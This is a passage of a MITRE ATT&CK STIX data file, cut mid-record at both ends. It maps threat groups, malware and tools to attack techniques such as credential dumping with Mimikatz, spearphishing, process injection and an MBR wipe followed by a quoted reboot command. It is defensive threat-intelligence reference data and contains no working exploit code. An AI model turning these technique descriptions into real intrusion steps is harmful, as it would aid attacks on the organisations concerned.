2017)","relationship_type":"uses","source_ref":"malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--636c3816-21ed-46f7-8837-2334bed88e42","type":"relationship","created":"2020-05-06T19:32:14.855Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT HOTCROISSANT February 2020","url":"https://www.us-cert.gov/ncas/analysis-reports/ar20-045d","description":"US-CERT. (2020, February 20). MAR-10271944-1.v1 – North Korean Trojan: HOTCROISSANT. Retrieved May 1, 2020."}],"modified":"2020-05-06T19:32:14.855Z","description":"(Citation: US-CERT HOTCROISSANT February 2020)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"malware--aad11e34-02ca-4220-91cd-2ed420af4db3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--636ec213-31ce-4e0a-863c-8add1cae68c3","type":"relationship","created":"2020-02-19T18:54:47.777Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-19T18:54:47.777Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--7d77a07d-02fe-4e88-8bd9-e9c008c01bf0","target_ref":"attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6370e4b2-a26e-489f-a444-3d32991c0783","created":"2024-02-12T19:26:34.498Z","revoked":false,"external_references":[{"source_name":"Mandiant Pulse Secure Update May 2021","description":"Perez, D. et al. (2021, May 27). Re-Checking Your Pulse: Updates on Chinese APT Actors Compromising Pulse Secure VPN Devices. Retrieved February 5, 2024.","url":"https://www.mandiant.com/resources/blog/updates-on-chinese-apt-compromising-pulse-secure-vpn-devices"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-12T19:26:34.498Z","description":"[APT5](https://attack.mitre.org/groups/G1023) has accessed Microsoft M365 cloud environments using stolen credentials. (Citation: Mandiant Pulse Secure Update May 2021)","relationship_type":"uses","source_ref":"intrusion-set--c1aab4c9-4c34-4f4f-8541-d529e46a07f9","target_ref":"attack-pattern--f232fa7a-025c-4d43-abc7-318e81a73d65","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6372dcb7-0f8e-45cd-a1a6-5a2cfc4c22ee","created":"2024-07-10T18:54:51.065Z","revoked":false,"external_references":[{"source_name":"DFIR Phosphorus November 2021","description":"DFIR Report. (2021, November 15). Exchange Exploit Leads to Domain Wide Ransomware. Retrieved January 5, 2023.","url":"https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-10T18:54:51.065Z","description":"(Citation: DFIR Phosphorus November 2021)","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"tool--36dd807e-b5bc-4c3e-91ed-80682360148c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--63738109-c04a-4af9-a671-636c493d7a21","type":"relationship","created":"2020-08-17T14:08:26.114Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/","description":"Hromcová, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.","source_name":"ESET InvisiMole June 2018"}],"modified":"2020-08-17T14:08:26.114Z","description":"[InvisiMole](https://attack.mitre.org/software/S0260) can collect data from the system, and can monitor changes in specified directories.(Citation: ESET InvisiMole June 2018)","relationship_type":"uses","source_ref":"malware--47afe41c-4c08-485e-b062-c3bd209a1cce","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--63759a0f-39e8-4d94-ab20-3bdba67ca502","type":"relationship","created":"2021-12-06T19:48:35.264Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT TA18-074A","description":"US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.","url":"https://www.us-cert.gov/ncas/alerts/TA18-074A"}],"modified":"2021-12-06T20:45:13.823Z","description":"[Dragonfly](https://attack.mitre.org/groups/G0035) has dropped and executed SecretsDump to dump password hashes.(Citation: US-CERT TA18-074A)","relationship_type":"uses","source_ref":"intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1","target_ref":"attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--63759ea4-5bf1-408d-a1cc-e7f52e3aca1b","type":"relationship","created":"2019-10-04T22:07:45.879Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Group123","description":"Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.","url":"https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html"}],"modified":"2019-10-04T22:07:45.879Z","description":"[APT37](https://attack.mitre.org/groups/G0067) has used malware that will issue the command shutdown /r /t 1 to reboot a system after wiping its MBR.(Citation: Talos Group123)","relationship_type":"uses","source_ref":"intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c","target_ref":"attack-pattern--ff73aa03-0090-4464-83ac-f89e233c02bc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6376c6be-5ec7-4775-8984-13a1474dc92d","type":"relationship","created":"2020-05-06T21:01:23.429Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Attor Oct 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Attor.pdf","description":"Hromcova, Z. (2019, October). AT COMMANDS, TOR-BASED COMMUNICATIONS: MEET ATTOR, A FANTASY CREATURE AND ALSO A SPY PLATFORM. Retrieved May 6, 2020."}],"modified":"2020-05-06T21:01:23.429Z","description":"[Attor](https://attack.mitre.org/software/S0438) has staged collected data in a central upload directory prior to exfiltration.(Citation: ESET Attor Oct 2019)","relationship_type":"uses","source_ref":"malware--8f423bd7-6ca7-4303-9e85-008c7ad5fdaa","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--63835d80-f52b-472c-a605-b0360eea3539","type":"relationship","created":"2019-01-31T01:07:58.714Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.","url":"https://www.cybereason.com/blog/operation-cobalt-kitty-apt","source_name":"Cybereason Oceanlotus May 2017"},{"url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","source_name":"Cybereason Cobalt Kitty 2017"}],"modified":"2020-03-19T22:10:50.772Z","description":"[APT32](https://attack.mitre.org/groups/G0050) used Mimikatz and customized versions of Windows Credential Dumper to harvest credentials.(Citation: Cybereason Oceanlotus May 2017)(Citation: Cybereason Cobalt Kitty 2017)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--63841959-afe2-4cb0-a93e-d407eb1b8d66","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"XAgentOSX 2017","description":"Robert Falcone. (2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. Retrieved July 12, 2017.","url":"https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/"},{"url":"https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/","description":"Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.","source_name":"Sofacy Komplex Trojan"},{"source_name":"Secureworks IRON TWILIGHT Active Measures March 2017","url":"https://www.secureworks.com/research/iron-twilight-supports-active-measures","description":"Secureworks CTU. (2017, March 30). IRON TWILIGHT Supports Active Measures. Retrieved February 28, 2022."}],"modified":"2022-02-28T16:30:02.467Z","description":"(Citation: XAgentOSX 2017)(Citation: Sofacy Komplex Trojan)(Citation: Secureworks IRON TWILIGHT Active Measures March 2017)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"malware--f108215f-3487-489d-be8b-80e346d32518","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6385d0af-765c-44f9-afab-ed3852f6a22f","type":"relationship","created":"2021-12-06T20:36:44.008Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT TA18-074A","description":"US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.","url":"https://www.us-cert.gov/ncas/alerts/TA18-074A"}],"modified":"2021-12-06T20:36:44.008Z","description":"[Dragonfly](https://attack.mitre.org/groups/G0035) has used spearphishing with Microsoft Office attachments to enable harvesting of user credentials.(Citation: US-CERT TA18-074A)","relationship_type":"uses","source_ref":"intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1","target_ref":"attack-pattern--8982a661-d84c-48c0-b4ec-1db29c6cf3bc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--63895b27-aeba-4001-8039-b7b1bc41f8fc","type":"relationship","created":"2020-10-28T13:16:12.446Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike BloodHound April 2018","url":"https://www.crowdstrike.com/blog/hidden-administrative-accounts-bloodhound-to-the-rescue/","description":"Red Team Labs. (2018, April 24). Hidden Administrative Accounts: BloodHound to the Rescue. Retrieved October 28, 2020."}],"modified":"2020-11-19T21:05:19.165Z","description":"[BloodHound](https://attack.mitre.org/software/S0521) can identify users with local administrator rights.(Citation: CrowdStrike BloodHound April 2018)","relationship_type":"uses","source_ref":"tool--066b057c-944e-4cfc-b654-e3dfba04b926","target_ref":"attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--638b21af-b5d5-44dd-9d14-ea3c2be3eb4e","type":"relationship","created":"2022-02-02T21:05:49.133Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Threatpost Lizar May 2021","url":"https://threatpost.com/fin7-backdoor-ethical-hacking-tool/166194/","description":"Seals, T. (2021, May 14). FIN7 Backdoor Masquerades as Ethical Hacking Tool. Retrieved February 2, 2022."},{"source_name":"BiZone Lizar May 2021","url":"https://bi-zone.medium.com/from-pentest-to-apt-attack-cybercriminal-group-fin7-disguises-its-malware-as-an-ethical-hackers-c23c9a75e319","description":"BI.ZONE Cyber Threats Research Team. (2021, May 13). From pentest to APT attack: cybercriminal group FIN7 disguises its malware as an ethical hacker’s toolkit. Retrieved February 2, 2022."}],"modified":"2022-02-07T16:07:50.234Z","description":"[Lizar](https://attack.mitre.org/software/S0681) can take JPEG screenshots of an infected system.(Citation: Threatpost Lizar May 2021)(Citation: BiZone Lizar May 2021) ","relationship_type":"uses","source_ref":"malware--f74a5069-015d-4404-83ad-5ca01056c0dc","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6390419e-ebaa-4556-ae74-c92dc041eb47","type":"relationship","created":"2020-07-17T19:22:28.403Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET InvisiMole June 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf","description":"Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}],"modified":"2020-07-17T19:22:28.403Z","description":"[InvisiMole](https://attack.mitre.org/software/S0260) can create hidden system directories.(Citation: ESET InvisiMole June 2020)","relationship_type":"uses","source_ref":"malware--47afe41c-4c08-485e-b062-c3bd209a1cce","target_ref":"attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--63920a70-160d-46b3-a55f-05e8d7d30ba1","created":"2019-06-14T16:51:02.178Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"PWC KeyBoys Feb 2017","description":"Parys, B. (2017, February 11). The KeyBoys are back in town. Retrieved June 13, 2019.","url":"https://web.archive.org/web/20211129064701/https://www.pwc.co.uk/issues/cyber-security-services/research/the-keyboys-are-back-in-town.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:22:36.387Z","description":"[KeyBoy](https://attack.mitre.org/software/S0387) uses custom SSL libraries to impersonate SSL in C2 traffic.(Citation: PWC KeyBoys Feb 2017)","relationship_type":"uses","source_ref":"malware--5dd649c0-bca4-488b-bd85-b180474ec62e","target_ref":"attack-pattern--c325b232-d5bc-4dde-a3ec-71f3db9e8adc","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6397a3a8-68bb-46bd-b5b8-f0ed56783e56","type":"relationship","created":"2022-03-30T14:26:51.863Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.863Z","description":"Monitor for changes made to processes that may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges.","source_ref":"x-mitre-data-component--d5fca4e4-e47a-487b-873f-3d22f8865e96","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6397d645-207c-4d1b-9a65-5f1b69a84e7c","type":"relationship","created":"2020-07-24T13:48:49.763Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Gh0stRAT ATT March 2019","url":"https://cybersecurity.att.com/blogs/labs-research/the-odd-case-of-a-gh0strat-variant","description":"Quinn, J. (2019, March 25). The odd case of a Gh0stRAT variant. Retrieved July 15, 2020."}],"modified":"2020-07-24T13:48:49.763Z","description":"[gh0st RAT](https://attack.mitre.org/software/S0032) can execute its service if the Service key exists. If the key does not exist, [gh0st RAT](https://attack.mitre.org/software/S0032) will create and run the service.(Citation: Gh0stRAT ATT March 2019)","relationship_type":"uses","source_ref":"malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24","target_ref":"attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--63994c7c-6544-4e29-9c94-ac2237166774","type":"relationship","created":"2019-01-31T01:07:58.546Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","source_name":"Cybereason Cobalt Kitty 2017"}],"modified":"2019-07-17T13:11:38.709Z","description":"[APT32](https://attack.mitre.org/groups/G0050) performed network scanning on the network to search for open ports, services, OS finger-printing, and other vulnerabilities.(Citation: Cybereason Cobalt Kitty 2017)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--639a960d-8cc1-4f6f-aca1-cf3c6445d056","created":"2021-07-16T19:32:57.758Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Group IB GrimAgent July 2021","description":"Priego, A. (2021, July). THE BROTHERS GRIM: THE REVERSING TALE OF GRIMAGENT MALWARE USED BY RYUK. Retrieved September 19, 2024.","url":"https://www.group-ib.com/blog/grimagent/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-19T14:32:39.432Z","description":"[GrimAgent](https://attack.mitre.org/software/S0632) can use an AES key to encrypt C2 communications.(Citation: Group IB GrimAgent July 2021)","relationship_type":"uses","source_ref":"malware--c9b99d03-ff11-4a48-95f0-82660d582c25","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--639bd473-be74-4ddb-bfc1-eaa2574df975","type":"relationship","created":"2020-08-04T15:35:30.384Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"G Data Sodinokibi June 2019","url":"https://www.gdatasoftware.com/blog/2019/06/31724-strange-bits-sodinokibi-spam-cinarat-and-fake-g-data","description":"Han, Karsten. (2019, June 4). Strange Bits: Sodinokibi Spam, CinaRAT, and Fake G DATA. Retrieved August 4, 2020."},{"source_name":"McAfee REvil October 2019","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-crescendo/","description":"Saavedra-Morales, J, et al. (2019, October 20). McAfee ATR Analyzes Sodinokibi aka REvil Ransomware-as-a-Service – Crescendo. Retrieved August 5, 2020."},{"source_name":"Picus Sodinokibi January 2020","url":"https://www.picussecurity.com/blog/a-brief-history-and-further-technical-analysis-of-sodinokibi-ransomware","description":"Ozarslan, S. (2020, January 15). A Brief History of Sodinokibi. Retrieved August 5, 2020."}],"modified":"2020-08-05T17:26:24.555Z","description":"[REvil](https://attack.mitre.org/software/S0496) has been executed via malicious MS Word e-mail attachments.(Citation: G Data Sodinokibi June 2019)(Citation: McAfee REvil October 2019)(Citation: Picus Sodinokibi January 2020)","relationship_type":"uses","source_ref":"malware--ac61f1f9-7bb1-465e-9b8a-c2ce8e88baf5","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--639e7b8d-57d7-4c1d-8f42-1496606ea666","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html","description":"O'Leary, J., et al. (2017, September 20). Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware. Retrieved February 15, 2018.","source_name":"FireEye APT33 Sept 2017"},{"description":"Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.","url":"https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage","source_name":"Symantec Elfin Mar 2019"}],"modified":"2019-06-28T15:05:33.081Z","description":"[APT33](https://attack.mitre.org/groups/G0064) has sent spearphishing emails containing links to .hta files.(Citation: FireEye APT33 Sept 2017)(Citation: Symantec Elfin Mar 2019)","relationship_type":"uses","source_ref":"intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--639eca67-c21e-49d6-ac62-cf5a26ac6f15","type":"relationship","created":"2020-02-21T20:46:36.944Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-21T20:46:36.944Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--4eb28bed-d11a-4641-9863-c2ac017d910a","target_ref":"attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--63a09269-0546-4613-b746-0e1f8dac7d5b","created":"2020-08-03T15:14:17.942Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Prevx Carberp March 2011","description":"Giuliani, M., Allievi, A. (2011, February 28). Carberp - a modular information stealing trojan. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20231227000328/http://pxnow.prevx.com/content/blog/carberp-a_modular_information_stealing_trojan.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T15:17:52.255Z","description":"[Carberp](https://attack.mitre.org/software/S0484) has queued an APC routine to explorer.exe by calling ZwQueueApcThread.(Citation: Prevx Carberp March 2011)","relationship_type":"uses","source_ref":"malware--bbcd7a02-ef24-4171-ac94-a93540173b94","target_ref":"attack-pattern--7c0f17c9-1af6-4628-9cbd-9e45482dd605","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--63a7bbf6-bb2e-41e7-8893-c3f7f207a7a7","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"XAgentOSX 2017","description":"Robert Falcone. (2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. Retrieved July 12, 2017.","url":"https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/"},{"source_name":"XAgentOSX 2017","description":"Robert Falcone. (2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. Retrieved July 12, 2017.","url":"https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/"}],"modified":"2020-03-30T02:30:03.881Z","description":"[XAgentOSX](https://attack.mitre.org/software/S0161) contains the readFiles function to return a detailed listing (sometimes recursive) of a specified directory.(Citation: XAgentOSX 2017) [XAgentOSX](https://attack.mitre.org/software/S0161) contains the showBackupIosFolder function to check for IOS device backups by running ls -la ~/Library/Application\\ Support/MobileSync/Backup/.(Citation: XAgentOSX 2017)","relationship_type":"uses","source_ref":"malware--59a97b15-8189-4d51-9404-e1ce8ea4a069","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--63aca7d8-64dc-412b-a8ab-8af712fd4d82","created":"2024-02-06T21:10:43.113Z","revoked":false,"external_references":[{"source_name":"Mandiant Pulse Secure Zero-Day April 2021","description":"Perez, D. et al. (2021, April 20). Check Your Pulse: Suspected APT Actors Leverage Authentication Bypass Techniques and Pulse Secure Zero-Day. Retrieved February 5, 2024.","url":"https://www.mandiant.com/resources/blog/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-06T21:10:43.113Z","description":"(Citation: Mandiant Pulse Secure Zero-Day April 2021)","relationship_type":"uses","source_ref":"intrusion-set--c1aab4c9-4c34-4f4f-8541-d529e46a07f9","target_ref":"malware--f8fc98ac-ad6d-44db-b6e2-f0c6eb4eace4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--63ae56fe-04c2-41f5-a2be-c1880e67b490","type":"relationship","created":"2020-06-01T16:11:40.135Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"IBM TA505 April 2020","url":"https://securityintelligence.com/posts/ta505-continues-to-infect-networks-with-sdbbot-rat/","description":"Frydrych, M. (2020, April 14). TA505 Continues to Infect Networks With SDBbot RAT. Retrieved May 29, 2020."}],"modified":"2020-06-16T16:43:36.256Z","description":"[SDBbot](https://attack.mitre.org/software/S0461) has used a packed installer file.(Citation: IBM TA505 April 2020)","relationship_type":"uses","source_ref":"malware--92b03a94-7147-4952-9d5a-b4d24da7487c","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--63b1af38-765d-4181-add0-dbd3f31941ff","created":"2022-08-22T15:51:47.597Z","x_mitre_version":"0.1","external_references":[{"source_name":"Proofpoint Bumblebee April 2022","url":"https://www.proofpoint.com/us/blog/threat-insight/bumblebee-is-still-transforming","description":"Merriman, K. and 